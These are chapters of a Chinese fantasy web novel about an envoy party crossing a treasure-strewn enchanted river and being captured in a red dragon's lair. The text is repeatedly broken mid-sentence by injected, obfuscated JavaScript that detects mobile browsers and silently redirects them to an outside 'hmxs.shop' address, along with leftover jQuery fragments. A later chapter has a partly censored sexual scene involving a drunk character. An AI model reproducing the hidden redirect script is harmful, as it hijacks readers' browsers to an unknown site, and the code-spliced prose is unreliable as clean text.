;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991983|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了岸上。
其他人走得有那么慢吗?
弗兰茨还记得卡塔利娜和他是最后两个开始渡河的人,怎么到最后却是他们两个先上得岸?
思索间罗斯和亨特也依次上了岸,她们同样也是一副疲惫的样子,接着是佩斯,她喘着气被亨特拉上岸后就一屁股坐到了地上。
“真奇怪……”佩斯低声道,“我几乎控制不住自己去想他。”
“他”指的是谁,在场的人都心知肚明。
亨特低头看了佩斯一眼,罗斯则思忖着慢慢将她的猜测说了出来:“彩虹河——既然往届的使者们将其与迷雾森林和无尽雪山并列在一起,那么它一定有它的危险之处。真奇怪,一条铺满珍宝的河流,我们居然没有一点儿质疑就走进河流之中,为什么会毫无警惕,为什么来到岸上后格外地疲惫?”
不是的。
弗兰茨看向卡塔利娜,她有提醒过,尽管不明显,尽管她的目的也不是提醒,但是她知道,她知道这条河一定有奇怪的地方。
可是,她为什么不说,又为什么径直走进了河流中,是因为她知道自己不会受到影响吗?
她到底,到底知道些什么?
然而卡塔利娜什么也没有说,只是直直地承受他的注视,眼神没有躲闪,反而对他一笑。
她就是知道!
在弗兰茨与卡塔利娜眼神交汇时刻,罗斯看向亨特,亨特也猜测道:“如果它的作用也是要阻拦我们前往龙穴,那么……”
像是意识到了什么,岸上的几人猛地向彩虹河看去——
在沐浴着夕阳余晖的,晃动起来似乎如蜂蜜一般粘稠的河水中,还站立着两名格兰德城人,伍德和雷东多。
前三人手里或多或少都攥着一些珍宝,伍德甚至解开了装着“贝莉的金杯”的包裹,将珍宝和金杯裹在了一起。
他们神情痴迷,像是沉浸在一个梦幻的泡影中,忽略了河水已经涨到他们的胸口。
雷东多则是表情阴郁,他没有拾取水底的珍宝,因而行进速度比其余三人要快一点。慢慢地,他超过了其他人,独自走到了岸上。
是那些珍宝!
是那些珍宝有问题!
“快放手!”亨特高声大喊,她快速走到岸边,似乎想要迈进河水之中。
可流动着幻彩的河水轻摇波澜,不急不忙地将亨特挡了回去。
“呃!”亨特闷哼一声,重重地坐到了草地上。
“怎么回事?!”佩斯大吃一惊,急忙搀扶起亨特,众人围了过来,连沉默的雷东多都朝这边看,“这是什么意思,我们不能迈进水里了吗?”
“我不知道,但我觉得它似乎不想我们进去……”亨特心有余悸,她看向河中仍沉浸在华丽珍宝中的两个格兰德城人,气不打一处来,她抓起河边一捧泥沙重重地抛了过去,“你们不要命了吗?两个猪头!看看你们的周围,看看你们自己!”
或许是亨特的声音太有感染力,也或许是她在格兰德城人心中十分有威望,弗兰茨没想到亨特这一喊,竟让那两个格兰德城人慌乱地惊醒了过来,手忙脚乱,手脚并用地向岸边一顿刨。
罗斯也趁机在岸边寻到一根树枝,她趴在岸边探出身子,众人协力之下,这才将两人拉上了岸。
嘎巴——
一声脆响,树枝不堪重负,被河水冲断。
此时彩虹河中,只剩下伍德一人。
15. 第 15 章
这的确是诱人的,珍宝。
伍德俯下身子,右手虚握,河水送来浮力,珍珠项链便在他的手心里来回游动。
真是美丽。
伍德握住了拳头,将那串珍珠项链收进了怀里。
这是理所当然的事。
伍德心想,成为使团团长,完成陛下交予他的秘密任务,这会提升他的身份地位但身为一个即将有非凡地位的人,他不得不为自己谋划更多。
气派的府邸庄园,专职的佣人,社交场所需的资金,他又不是没有见过那些有身份却因为未能平衡收支导致生活窘迫的人,更何况现在国库亏虚,陛下能奖赏他的实物恐怕并不会多于比以往的使者。
伍德自认为深谋远略,他所考量的当然要比旁人多。
珠宝、黄金、银器,伍德意犹未尽地直起身子,他还想拾取更多,却又突然意识到他完全可以回来的时候再取一部分。
是了,完成任务是首要目标,毕竟如果只有钱财没有地位,并不能满足伍德对自己的高要求。
拿定主意后,伍德不再拾取珍宝,开始向岸边游去。
游?
直到这时,伍德才发现彩虹河的河水不再问最开始那般轻波慢摇,它变得湍急,充满暗流,水位也越涨越高。
“嘿!”
伍德有些慌张地向四周看去,其他人不知何时已经超过他来到了岸边,他先是自然而然地生起一股必要的怒意,但这点火星很快就被扑过来的河水浇灭了。
先上岸要紧!
伍德抱紧了怀里的包裹,奋力向前游,模糊的视野里,其他人正站在岸上看他。
“他会被淹死吗?”一个格兰德城人向同伴小小声地说,她看了一眼雷东多,又疑惑道,“他怎么不去救他。”
她的同伴怕雷东多又拿箭射她,用力地拽了拽她的手,于是,岸上又陷入了一片沉默。
“看来你们团长真是个不讨喜的家伙。”半晌,亨特看了一眼垂着头无动于衷的雷东多,对罗斯评价道。
罗斯不语,仿照亨特刚刚的举动寻来一根树枝探入水中。亨特见了,耸耸肩,站在一旁随时准备搭把手。
可是谁也没有料到,河水汹涌如猛兽,伍德明明已经抓住树枝的另一端了,树枝还是被河水从中间冲断了。
“真要命!”
罗斯暗骂一声,一边抽出佩剑往前递一边冲伍德大喊:“快把东西都扔掉!不然我们都拖不动你!”
伍德攀在剑鞘上,犹豫片刻后还是抱紧了怀里的包裹。
他大声否决:“不,不!罗斯,这是‘贝莉的金杯’,怎么可以随意丢弃?”
“别在这装傻了你这头只会大声叫喊的蠢驴!把那些捡来的珠宝都扔掉!”亨特怒不可遏,她抱住罗斯的腰一起往后拔。
其他几人见了,互相对视一眼,也加入了进来。
可奇怪的是,明明岸上的人数多于水里的人数,伍德还是被河水拖曳着往下沉,很快罗斯的脚面也被河水浸湿了——很显然,有一股巨大的吸力将人往水里拽!
这到底是怎么一回事?!
弗兰茨的额头冒了一层薄汗,他咬紧牙,余光却见卡塔利娜坐在一旁无聊得打了一个哈欠。
她对旁人的目光似乎非常敏锐,察觉到有人看她,尽管那只是弗兰茨轻飘飘的一眼,她明黄色的眼睛也飞快地转了过来。
发现是弗兰茨错愕的目光,卡塔利娜的脸上流露出一丝了然。但她仍是什么也不做,只是把注意力从放空转移到他们这场怪异的拔河上。
.
这场僵持并没有持续很久,伍德咬牙不放,罗斯的一只脚也踏入河中。
亨特大嚷:“他再不松手,我们都会被他拖下水的!罗斯,我要松手了,为了救一头蠢驴搭上自己的性命可不值得!”
眼见众人都要松手,伍德大惊失色,钱权在生死之际还是没有性命重要,要紧关头他终于舍得松开一只手将包裹往岸上甩。
一包裹的金银财宝丁零当啷呈弧线抛出,“贝莉的金杯”也赫然裹挟其中,落在地上咕噜噜地转。
砰!
在包裹脱手的那一瞬,伍德只觉得周身一轻,整个人被抛到空中然后又重重地摔到地上。其余人也没有料到伍德挣脱河水来得这么突然,他们不受控制地往后一坐,毫无防备滚作一团。
待到所有人狼狈地从地上分开后,夕阳的余晖已经完全沉到山峰背后去了,高大沉默的雪山如同一道铁壁,投射下阴影。
四周倏然一暗,只余下雪山一道洁白的轮廓,如擦亮的银刃一般闪着耀眼的光。
河水恢复了平静,失去了夕阳余晖的映照,绚烂的光芒褪去,迷人的珍宝不见,“彩虹河”又变回了一条淡绿色的小河,刚刚所发生的一切仿佛只是一场错乱又激烈的臆想。
不仅是身体劳累,众人的精神也疲惫异常,有人站着有人瘫倒在地,都空茫地呆滞着。
只有卡塔利娜,看完整场莫名其妙的乱剧后她慢悠悠地站了起来,目标明确地走向“贝莉的金杯”。
打量片刻,她将金杯拿了起来,她用手背上的布料擦了擦杯口,然后非常随意地倾斜下杯子——
一道紫红色的液体从金杯里倾斜而出,馥郁的酒香也随之在这荒野中扩散,众人单是闻着,几乎都要飘飘然地醉了。
卡塔利娜并没有选择再倒第二下,她看着酒液如泉水流淌浸润了地上一小片草地,忍不住伸出另一只手接了一小捧来喝。
味道很不错,她很喜欢。
卡塔利娜满足地眯了眯眼,想要再去接第二捧。怎料一只手突然斜插过来,夺走了金杯。
“够了!”
罗斯隔着布将“贝莉的金杯”裹好,竭力抵抗着金杯的诱惑。
她侧着头对卡塔利娜严厉道:“你不该随便动用这只金杯,它对使用者产生的影响比你想象中的还要大!”
卡塔利娜撇了撇嘴,不以为意。她的脸上还沾着一道道酒渍,撇嘴的时候反出一点淡淡的微光,红得发亮。
罗斯皱着眉,还想再说些什么,身后却传来伍德惊慌的声音:“我的、我的,这些珍宝怎么都变样了?!”
天色愈发的暗了,雪山下绿的树,绿的湖,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991984|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绿的雾,影影绰绰让人看不清楚。还未到夏天,离开了夕阳余温的烘烤,风也变得刺骨起来。
伍德一声大叫后,四周更显寂然。
众人沉默着慢慢围了上来,只见伍德刚刚仓促抛洒珍宝的草地上散落了一地的杂物——碎石、杂草,期间甚至夹杂着几块被水流冲洗得很圆润的白色骨头,哪还有什么奇珍异宝?
也曾在彩虹河里拾取过珍宝的格兰德城人暗暗吸气,她一想到刚刚握在手里的其实是动物或者人类的骨头,就不由得浑身一颤,抖落一地鸡皮疙瘩。
“这彩虹河到底是什么?诱人溺水的河流吗?”佩斯惊诧。
众人后怕,纷纷嚷嚷,只有伍德心底生出一股被戏耍的意。
他既觉得丢脸又气急败坏,看着一地零碎,就想到差点为此丢了性命,更是怒不可遏。
伍德飞起一脚将碎石替回水里,发泄一通怒意后,才转过身来对众人沉声道:“走吧,明天就要出发去龙穴了,我们要找个地方休息规划一下。”
.
燃起篝火,抓来几只山鸡野兔,大家坐了下来烘烤身上的湿意。
上一次像这样较为舒适地吃一顿晚饭是在离开格兰德城进入迷雾森林后,可短短一段时间内,围绕着篝火的人竟然已经少了一大半。
想到这儿,原本轻松了一点的氛围也低迷了不少。
亨特拍了拍佩斯的肩膀,又捏了捏她,有意让她振作起来,佩斯也明白她的心意,尽力展示出一个笑容。
不过,虽然昔日的伙伴意外离去,但路上也总算认识了一些值得相识的人。
亨特朝弗兰茨点头示意,又为先前对他有偏见的事情道歉,见弗兰茨收下了她的善意,她便转身去找罗斯。
一回头,发现罗斯正和伍德在不远处激烈地讨论着什么。
亨特以为他们正为今天下午彩虹河发生的事情争吵,走近一听却不像那么回事,争执中夹杂了几个词语,听着倒像和龙穴相关。
“怎么了?”亨特疑惑发问,伍德却像是被吓了一跳似的往后退了两步。
罗斯看着还算镇定,她清了清嗓子,轻描淡写道:“没什么,只是对明天出发去龙穴的事情有不同的意见。”
亨特皱了皱眉,她直觉有什么不对的地方,却也没有证据。亨特看着火光映在罗斯的半边脸上,让她的表情显得晦涩不清:“原来是这样,那我们明天有什么计划吗?”
亨特边问边往回走,引得其他人的目光都投射了过来。
伍德与罗斯对视一眼,而后沉吟道:“正如往届使者所言,荣誉使团会将珍宝送到龙穴入口。而我们这回则要更加英勇,我们要将‘贝莉的金杯’亲自送到龙的面前。”
龙?
听到他们的对话,弗兰茨沉下了心。
对于这种事,他总是抱有谨慎怀疑的态度。
透过浓浓的夜雾,借着惨淡的月光,弗兰茨凝神远望,在视野的尽头,占据着一座形状奇怪且巨大的黑影。
那是红龙的巢穴。
“害怕吗?”他回过头,卡塔利娜正托着下巴望着他。
16. 第 16 章
“害怕吗?”卡塔利娜问道。
我害怕吗?
弗兰茨问自己。
海难、迷雾森林、无雪密道,再到彩虹河,一路上经历种种,他遇到了很多预料之外的事。对于这些事情和即将要做出的行动,他与其说是害怕,不如说是一种紧张的心态。
紧张未知的风险,紧张是否会见到红龙,紧张……真相的到来。
走得越远,他越觉得陷入了一个逐渐缩窄的隧道,每前进一步,就离真相越近,退路也随之更渺茫,除了前进别无选择。
因而当真相即将在面前展开,除却紧张,弗兰茨心底还有一丝难以名状的兴奋。他觉察到自己竟然生出了这样的兴奋,既是讶异,也催生了期待。
“不。”他说。
视线从卡塔利娜身上转向了远方,弗兰茨眺望着龙穴朦胧的阴影,轻声道:“现在并不是害怕的时候。”
“为什么呢?”卡塔利娜的声音也放得很轻,“你们这一次要进入到红龙的巢穴,为什么不害怕呢?你不害怕遇到红龙?你不怕红龙吃掉你吗?”
“那你不怕吗?而且,为什么是‘你们’?”弗兰茨抓住了卡塔利娜话里的一个小尾巴,“你不用去吗?伍德可不会同意的。还是说你又知道了什么,卡塔利娜,你的某些观念和我们大不相同。”
这是一个难得平和的晚上,似乎因为明天即将迎来重要的行程,所有人都围在篝火前抓紧最后的时刻放松。
持续的低声交谈,偶尔几声轻快的笑声,树枝燃烧时偶尔的哔啵声,氛围很舒适,却不合适用来谈一些更细致的事情。
因此弗兰茨并没有说的很明确,但卡塔利娜知道他所指的是什么意思。
这样的不同,不是一种个人与个人观念上的不同,也不是不同地区的人有着不同的生活方式导致的思维差异。
它在本质上更明显,就像,就像——弗兰茨看着卡塔利娜,昏暗的火光下,她的眼睛仍显得十分明亮。
就像她在物种上与他们不同,所以言行举止才会有这么大的区别和差异。
她会是人类和其他种族的混血儿吗?弗兰茨想。力气很大,说话很直,她是人类与矮人的混血吗?
混血儿虽不常见,但也并不算少。在与白岛一海之隔的维洛兰王国,甚至有着聘用混血儿做苦力的习惯。
“我不是什么人类混血。”像是猜到弗兰茨的想法,卡塔利娜居然笑了一下。
她笑得很轻松,不像以往那种观察者露出“有意思”的表情的笑。
看着卡塔利娜的笑,弗兰茨愣了一下,下意识把视线移开了。
“而且我不怕龙。”卡塔利娜又道。
在弗兰茨的余光里,她嘴角的幅度越扬越大,这让他莫名的有些局促。
为了摆脱这种奇怪又微妙的感觉,弗兰茨只好将话题往另一个方向上引:“如果只是普通的行赏,那我也没有什么可惧怕的,既有良好的协约在前,又有珍宝在旁,我们不伤害它,那么它也没有理由攻击我们。除非——”
他又看向了卡塔利娜:“就像你暗示的那样,我们并非前去行赏,或者你说的‘进贡’;而是去做别的什么事情。你知道要做什么吗?卡塔利娜,你似乎觉得我们,或者说某些人会做什么,对吗?”
卡塔利娜与弗兰茨对视,她望着弗兰茨灰蓝色的眼睛,上面轻薄的愁雾已经退去,更显纯净。
“我不知道,”她探身,向弗兰茨靠近,瞳孔兴奋地收缩着,她一边笑一边小声地警告,“你可不要被龙吃掉了。”
.
次日,薄雾还笼在肩上之际,众人就已经收拾好行囊,整装待发。
待到日光从前方射下,龙穴的模样就已经清晰地展现在眼前。
巨大的岩石破土而出,交错着立在地面上。岩石漆黑,金色的阳光落在上面也无法给它们染上一点别的颜色,显得十分突兀。
岩石之间排列得杂乱,但很紧密,上方没有封顶,且有很深刻的爪痕——毫无疑问,那必然是龙的爪痕了。
显而易见,巢穴修建得并不精细,与人类宫殿相比更显粗糙,但直面它的那一刻,弗兰茨只能感受到一股十分强大且野性的气息扑面而来。
像眠龙喷出的一阵龙息,尽管他并没有经历过。
“害怕吗?”卡塔利娜在他耳边轻声问。
她说话时吐出一股小小的热气,从弗兰茨裸露在外的皮肤上一扫而过,接着便融进了清晨微凉的空气里。
弗兰茨打了一个寒颤,他从眼前的震撼中回过神来,慢慢回头看了卡塔利娜一眼,仍是什么话也说不出。
其他人也是如此。
面对龙的巢穴,没有人能轻松的交谈调侃,私语停止了,寂静的环境里,龙的巢穴更显慑人。
“……好了,好了,”片刻,伍德才沙哑着嗓子开口,他与罗斯对视一眼,才迟疑道,“这并没有什么好怕的,勇士们。”
往日里伍德最擅长的言语停滞了,他吞了吞口水,低声催促道:“现在,我们该进去了。”
进去?
该怎么进去?
其他人都生出一丝疑惑,却没人敢说话。众人下意识放轻了脚步,走向龙穴。
直到走近时,他们才发现,这些黑色的岩石排列虽然紧密,却有不少缝隙可供通过,宽度一人有余,对人类来说并不算狭窄。
“进去?然后呢?”亨特下意识用气声问,“昨晚说要将金杯交给它,难道要亲自给吗?它不在怎么办?它睡着了怎么办?难道我们没有一点儿计划?这太疯狂了!”
“小声点!”伍德同样用气声呵斥,他深吸了几口气,“一切、一切都在我的掌控中。”
挨个从岩石之间的缝隙钻过去后,众人登时陷入一片黑暗。明明上面并无遮挡,但太阳似乎也只能在岩石顶端蒙上一层朦胧的,淡淡的光晕。
“什么都看不见了……我们能点火吗?”
佩斯小小地声问,过了一会儿,“嚓”的一声,微弱的火光照亮了脚下的路。
雷东多沉默着将几盏油灯分发,这种关头下,没有人会拒绝。
提着灯,众人摸索
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991985|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着往前走,绕过一个又一个岩石。在不安与焦躁几乎要盈满心头之前,众人转过一个拐角,眼前突然一亮。
弗兰茨眯起了眼睛,缓和过后,他慢慢张开眼,惊愕地愣住了。
他的眼前充盈了一室金光,从自己脚下一直蔓延到视线尽头,但他知道,那只是他视线的尽头,而不是黄金的所有。
是的,这样灿烂的金光不是天上太阳洒落的,而是铺在龙穴里黄金与珠宝散发出来的。
黄金在岩石间构筑起半凝固的河流与山体,油灯里微小的光落在上面,一瞬间便使整个洞窟灿若星河,众人呆滞在原地,一时间说不出话。
“真美丽,不是吗?”晃神间,卡塔利娜对他耳语。
“真是美丽……”弗兰茨轻声呢喃,“这真是,真是——”
“这就是,就是一个藏宝库……”伍德无法自抑般向前进了两步,一只脚踏入了金银珠宝的河流之中,丁零当啷发出一阵声响,整个洞窟里的黄金珍宝缓缓流动起来。
“小心!”罗斯拽住伍德,众人急急后退,缩回到岩石之后。
“我们,我们现在要怎么做?它在吗?有人看到了吗?”亨特连问几个问题,但没有人能回答出来。所有人的心都在砰砰跳动着,口干舌燥,心神注意仍留在那一室的金银珠宝上。
“我,我们,”伍德咋舌,他摇了摇头,下定了决心,“我们必须要亲自将‘贝莉的金杯’拿到它面前。这是陛下的要求。那么——”
他的目光在人群中扫视,最后落到了弗兰茨身上:“我和罗斯副团长负责与它交涉,罗兰先生,身为驭龙女士的后人,‘贝莉的金杯’则由你——”
“我?”弗兰茨皱眉。
他并非缺乏勇气,不愿承担责任,只是以伍德的性格,他真的会将这种“关键时刻”的位置让给他吗?
“对,就是你,”伍德意外地没有发作,而是点点头,示意罗斯将包有金杯的包袱交给他,随后他看向其他人,“格兰德城人,你们跟在我与罗斯身后。”
“那他呢?”佩斯突然提问,其余人则顺着她的话看向雷东多。
“他——”伍德卡顿了一下,补充道,“他和你们一样。”
.
部署后,伍德大步向前,大声说着什么,声音在空中来回飘荡。佩斯则忍不住在亨特耳畔窃窃私语:“……我觉得有一点不对劲。”
“我知道。”亨特眉头紧皱,她看着站在前面的几人,心有不安。
太草率了,亨特环顾四周,这里并没有龙出现的痕迹。
而且,不对——等等!
雷东多去哪里了?刚才伍德不是说他和格兰德城人站在一起吗?为什么一眨眼他就消失得无影无踪?
亨特的额角留下一滴冷汗,突然间,一个声音响起。
“啊,它们来了。”
那是卡塔利娜的声音。
它们?
什么它们?
弗兰茨心头一跳,本能地想要回头,但未等他动作,余光闪过几道黑影,直直地朝他们冲了过来。
17. 第 17 章
晃神间,从天而降的几道黑影已经欺身上前。
弗兰茨下意识后退几步,可他忘了脚下不是什么坚硬的土地,而是金银珠宝堆砌而成的,会滑动的山体。因此他这一退,反倒使自己滑到在地。
直到这时,他才看清楚这突如其来的黑影原来是几个龙牙战士!
其他人也手忙脚乱,亨特一边抵抗一边质问伍德:“这到底怎么一回事?!为什么龙牙会攻击我们?是我们做了什么,还是红龙对我们抱有敌意?”
自从黑影出现后,伍德一直僵硬地站在原地,他的呼吸急促,神色慌张,以至于龙牙战士已攻到身前他还呆愣着没动。
“伍德!”罗斯一声大喊,这才惊得他脚下一滑,倒地瘫坐。
“不,不,”他低声自语,“难道被发现了?怎么可能?我们明明是来行赏的,为什么会被龙牙攻击?不不不——”
“发现什么?”仓惶躲闪间,距离伍德最近的佩斯听到了他的话,难以置信地回过了头,“你这是什么意思?!你要瞒着我们做什么?是不是你做了什么,导致——”
“佩斯!”亨特扑了过来,抱着精神紧绷的佩斯在珠宝堆里翻滚了两圈,这才躲过了龙牙的攻击。
但是佩斯质问的声音十分尖利,在场的其他人都听到了她的话,质疑扰乱了他们的心神,耽误了他们的闪躲。不过几个呼吸,所有人都被制服在地。
“到底怎么一回事?!伍德团长,伍德!”
“它们要对我们做什么?我们不是来……为什么要抓我们?”
“砰”的一声响,打断了众人激烈的对话。
弗兰茨被龙牙按在一堆金币上,他艰难地转过头,只见刚刚不知道躲到哪里去的雷东多被一只龙牙重重地掼倒在地,身体不时地抽搐一下。
“他、是不是他做了什么?”一个格兰德城人低声问道,但龙牙把他们抓起来可不是为了让他们聚会聊天的,因此对话被迫中断,龙牙抓着他们快速移动起来。
为什么它们没有直接动手?
被捆绑扭送时,弗兰茨突然意识到这个问题,先前在迷雾森林的时候龙牙见到人则是毫不犹豫主动攻击的,为什么到了龙穴,它们反而没有下死手?
还有,伍德是不是瞒着些什么?弗兰茨挣扎着看了伍德一眼,他原本就深红色的脸上布满了汗珠,像要被烤熟了似的冒着热气。
这绝对有不对劲的地方!
弗兰茨咬牙,伍德绝对是做了,或者想他没来得及做一件十分严重的事情,而且红龙一定觉察到什么。不然仅是因为“行赏”或者“进贡”,犯不着让龙牙把他们抓起来。
到底是什么事情?
还没找到头绪,弗兰茨只觉得后背一股推力袭来,双臂上的桎梏消失了,整个人跟踉跄跄地向前跌;才狼狈地保持平衡,又有一人被推搡进来,直直撞到他的背上,戳得他后背生疼。
一个小巧的东西被丢了进来,在地上滚动了几下,随后是什么固体重重地插进了地上,远远地荡起几个回音。
他们被龙牙关起来了。
“害怕吗?”
熟悉的声音,熟悉的问题,弗兰茨回过头,卡塔利娜大咧咧地坐在地上,没有丝毫紧张。
“还好。”看到是卡塔利娜,弗兰茨反而松了一口气。
他喘着气点点头,接着开始查看起他们被关起来的这个地方。
“牢房”的主体仍旧是漆黑不反光的岩石,这里只关了他们两个人,空间还算宽敞。
他们进来时的入口被龙牙插上了几根乳白色柱体充当栅栏,弗兰茨靠在上面往外看,没有见到其他人也没有听到别的声音。
看样子,龙牙有意将他们关到不同的地方。
暂时没有逃出去的可能,弗兰茨往回走了两步慢慢坐下。
“找到出去的路了吗?”卡塔利娜问道。
“很遗憾,没有。”弗兰茨靠在岩石墙壁上,现在眼睛终于适应了黑暗,他才发现卡塔利娜正笑眯眯地看着他。
“被抓起来,你似乎很高兴?”想到伍德奇怪的反应,弗兰茨试探性地问道,“还是说你已经料到会发生这样的事情?”
“我可不知道那样的人在想些什么,而我也不在乎,”卡塔利娜露出一点轻蔑的表情,继而盯着他反问,“你好像也不担心,为什么?”
“或许因为我已经‘死’过一次了。”弗兰茨微笑道。
他此刻的心情倒还算平静,不过对于刚刚自己所说的那句俏皮话,他也有一些意外。或许因为无雪密道那一次意外,真有点儿改变他了。
他瞧了一眼卡塔利娜,定了定神,又说:“而且,我现在更关心另一件事。”
他现在几乎可以断定,伍德,或者也包括了罗斯和雷东多在内,他们除了行赏,身上还背负着另一个任务。
只是这个任务是什么,弗兰茨还未能想清楚。最严重的可能就是杀死红龙,但仅凭他们几人的力量,又能如何杀死一头强壮的龙?如此自不量力的事情,他们怎么敢做的?
还有红龙设下的防备。
如果使团真的是来“行赏”,它何必设下这么多障碍?弗兰茨想,也许不是梅兰妮尔·杜兰德忘记在她的手札上记录迷雾森林和彩虹河的存在,而是在她前往龙穴的时间里,迷雾森林和彩虹河还没有出现。
最初她们之间的关系是很友好的,但后来呢?后来森林里弥漫着毒雾,龙牙徘徊,无雪密道无人知晓,彩虹河诱人沉溺。
后来一定发生了什么。
“你的猜测很有道理。”卡塔利娜听完弗兰茨的分析,煞有其事地点点头。
然后她又问:“接下来你要怎么做?”
弗兰茨开了个玩笑:“准备被红龙吃掉或者烧死。”
他靠在墙上颇不自在地挺了挺背——他的双臂被龙牙反绑在身后,长时间没有活动实在有点儿难受。
卡塔利娜见了,不动声色地问:“那位驭龙女士,难道没有留下点儿别的东西,帮你向龙证明你的无辜?”
“我本来就是无辜的,”弗兰茨笑了笑,“但在红龙眼里,就不一定了。它可能被好几届使者惦记过呢,在它眼里,我和他们并没有什么不同。不过——”
他像是想起点什么,迟疑了一会儿,还是说了出来:“红龙曾给过她一枚鳞片,我想,这也许会是一个突破口。”
“鳞片?你怎么知道的?”
“它是赤红色的,很硬,过去这么多年了摸起来还留有余温。我并不觉得蛇或者蜥蜴的鳞片会像这样。”
卡塔利娜似乎起了很大的兴趣,她凑上前来,弗兰茨这才发现不知何时她已挣脱了束缚。
她追问:“你有带在身上?”
“……没有,我把它放在家里了。”弗兰茨向后靠了靠,但身后是岩壁,他没有多少空间可以后退。
“好吧,”她撇了撇嘴,语气听起来有点失望。
她蹲在弗兰茨身前,托着腮思考了一会儿,在弗兰茨终于忍不住想要问她做什么之前,卡塔利娜伸手帮他把身上的绳子解开了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991986|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你——”
“怎么?”卡塔利娜反问,“解开绳子而已,没有什么难的。”
弗兰茨把讶异吞回肚子,揉了揉酸痛的手腕,道:“那你呢,卡塔利娜。你的秘密是什么?这一路上你知道的很多,对于刚刚发生的事情,你似乎也并不意外。你是怎么知道的?”
“嗯?谁说我们要共享秘密的?”卡塔利娜双臂垂落,双手撑在地上身体向前倾,直到将弗兰茨逼得贴在岩石上,她才满意地退开。
她缓缓站了起来,俯视弗兰茨片刻后,卡塔利娜退后了几步,将龙牙一同抛进来包袱捡起来解开,“贝莉的金杯”露了出来。
黑暗中,金杯仍晕着一圈耀眼的光环,卡塔利娜把玩着那只小小的金杯,蓦地往地上一倒,醇厚的香气随着流出的酒液在囚室里弥漫开来。
卡塔利娜仰起头,隔空大饮一口,酒液顺着她的嘴角流到下巴再滴落下来,洇湿了衣襟。
她保持着倒酒的动作,转头看向弗兰茨:“要不要来一点?”
这看起来实在是太疯狂了。
但在此刻,在这样的情景,在不知死亡何时降临,不知生机是否存在之际,弗兰茨的心急促地跳了起来。
“贝莉的金杯”会给使用者带来极大的影响。
但是,都到了这种时刻,又有什么可顾虑的?
弗兰茨不由自主地微笑了起来,像是被诱导了一般,他站起身径直向卡塔利娜走去。
每向前一步,弗兰茨的笑容便更显一分。
他走到卡塔利娜身边,定定地看着她,然后半跪下一条腿,笑着对她说:“好。”
.
扑鼻而来的先是水果的芬芳,接着,他的舌头触碰一股凉意,微酸,他开始吞咽,然后尝到了持久的甜,最后是一点涩味。
弗兰茨被呛了一下,退后两步,畅快地笑起来。他擦掉唇角溢出的酒液,对卡塔利娜点点头:“味道确实很好。”
“我很喜欢。”卡塔利娜也对他笑。
她仰头继续痛饮,两人一人一口动作狂放,下巴衣摆尽被染湿,身体也在不知不觉中越靠越近。
直到最后,弗兰茨一屁股跌坐在地上,摇着头低低笑道:“……我不喝了,我,我够了。”
卡塔利娜于黑暗之中盯着他,因为摄入了大量的酒液,他原本苍白的脸颊和胸口蒸腾上几分红晕。
他的眼神朦胧,衣襟也敞开了几分,于是葡萄酒的残液便顺着他的下巴滑过他的喉结一路往下,最后流到了看不见的地方。
这确实,招人喜欢。
卡塔利娜咽下一口酒。
虽然白跑一趟,但还算有意外收获,卡塔利娜又大饮一口,酒液顺着咽喉流经肚腹,火焰随着奔腾的血液燃烧。
可我总要收点利息的,卡塔利娜将金杯随手一抛,扯掉手套走上前。她捏住弗兰茨的下巴,左右打量了一下,不输前人,她很满意。
所以她毫不顾忌地拉开他的衣衫,毫不留情地将项链盒扯掉丢到一旁,她尖利的指甲在弗兰茨身上划出一道道红痕,这让她更加亢奋起来。
抚摸、揉弄,卡塔利娜一手撑开弗兰茨的嘴唇,伸手搅动,牵出银丝。
她看他呛咳了几声,看他喘气。
弗兰茨灰蓝色的眼睛蒙着一层薄薄的雾,神情和动作,都让她觉得不虚此行赚得更多。
她很喜欢,也不必忍耐,她居高临下地钳制住弗兰茨的肩膀,就像一个最优秀的水手驾驶着最漂亮的帆船,纵丨丨情于颠丨簸的海浪。
18. 第 18 章
这太疯狂了。
